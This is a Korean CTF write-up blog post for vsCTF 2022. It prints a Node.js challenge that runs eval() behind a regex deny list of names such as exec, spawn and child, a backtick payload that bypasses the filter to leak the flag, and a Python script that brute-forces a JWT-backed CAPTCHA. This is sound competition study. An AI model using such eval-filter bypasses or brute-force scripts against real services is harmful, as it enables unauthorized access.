vsCTF 2022

조승현·2022년 7월 15일
0

Sanity Check

603 solves / 100 points
solved

그냥 주는 문제

Baby Eval

87 solves / 435 points
solved

title
View Source CTF
description
Powered by Node.js and Express.js
lastUpdate
2022-02-22T22:22:22.222Z
source
const express = require('express');
const app = express();

function escape(s) {
    return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";");
}

function directory(keys) {
    const values = {
        "title": "View Source CTF",
        "description": "Powered by Node.js and Express.js",
        "flag": process.env.FLAG,
        "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.",
        "createdAt": "1970-01-01T00:00:00.000Z",
        "lastUpdate": "2022-02-22T22:22:22.222Z",
        "source": require('fs').readFileSync(__filename),
    };

    return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>";
}

app.get('/', (req, res) => {
    const payload = req.query.payload;

    if (payload && typeof payload === "string") {
        const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload);
        if (matches) {
            res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>"));
        } else {
            res.send(`${eval(payload)}`);
        }
    } else {
        res.send(directory(["title", "description", "lastUpdate", "source"]));
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Server started on http://127.0.0.1:${process.env.PORT}`);
});

코드가 그냥 주어진다. payload를 받으면 eval을 하는데 regex로 필터링 되어있다. 생각보다 되게 많이 되어있어서 우회하긴 쉽지 않아보인다.
directory함수를 불러보았다. ?payload=directory

flag가 존재한다. flag를 파라미터로 넘겨줘야하는데 quote,소괄호가 다 막혀있어서 backtick을 사용하면 ?payload=directory`flag`

Baby Wasm

41 solves / 473 points
not solved

wasm이란것을 처음 봤다. 그래서 공부하면서 풀었다. 디컴파일해서 코드 분석하고 했는데 되게 쉬운 문제였다.

wasm파일에 flag를 검색하니 의심스러운 값이 나온다. flag값은 당연히 안보인다. 그런데 이 줄에 문구중에 수상한 문구가 있다.

exclusive_disjunction_is_amazing_also_this_entire_string_might_be_relevant

이런 문구가 있다. xor 연산을 수행하라고 한다. 또 hex값이 하나 보이는데

1311061b2a000603173c0136001f050b112b1a0a0d2d0c070000090c130731173e121f04002d1037031a2f0e0d1c184b01251b1e010c1e52275f1c5e5e40390d533c0a00190d1c575b


id=admin
pw=복호화값

vsCAPTCHA

28 solves / 482 points
not solved


문제 화면이고 코드도 주어진다.

flag를 얻는 조건은 정답을 1000번 성공시키는것이다. jwt로 성공횟수를 주고 받는다.
문제를 봤을때 푸는 방법이 딱 2개 생각났었다.
1. jwt alg-none attack
2. 1000번 브루트포스

사실 1번은 코드로 봤을때는 취약한점이 없었다. 그래도 혹시나 되나 해서 해봤는데 안되었다.
결국 2번으로 풀어야되는데 코드에 문제점이 있었다. 난수범위가 너무 좁다. 다해봐야 20개정도였나 그렇다.
대충 코드짜서 1000번 맞출때까지 돌린다...

import jwt
import requests
import json
from sqlalchemy import false

url = 'https://vscaptcha-twekqonvua-uc.a.run.app/captcha'
headers={}
headers['Content-Type'] = 'application/json'
headers['origin'] = 'https://vscaptcha-twekqonvua-uc.a.run.app'
headers['referer'] = 'https://vscaptcha-twekqonvua-uc.a.run.app/'
headers['sec-fetch-mode'] = 'cors'
headers["x-captcha-state"] = ''
data={}



for i in range(1100):
    for j in  range(579,587):
        data['solution'] = j
        
        response = requests.post(url=url,headers=headers,data=json.dumps(data))
        print(jwt.decode(response.headers['x-captcha-state'],verify=False))
        print("Step ",i," | Trying : ",j, response.status_code, response.headers if i==1000 else None)
        if response.status_code == 200: # Return 200 only if correct solution, else 401 or 400.
            headers["x-captcha-state"] = response.headers["x-captcha-state"]
            break
    print("-"*30)

총평

확실히 다 풀만한 문제였고 풀었어야했다... 객관적으로 수준이 낮은 ctf였다. 그동안 writeup을 안썼는데 매주 ctf writeup을 작성하려고 한다.

profile
Inha University / CTF Web Player / Team Riot of Noob

0개의 댓글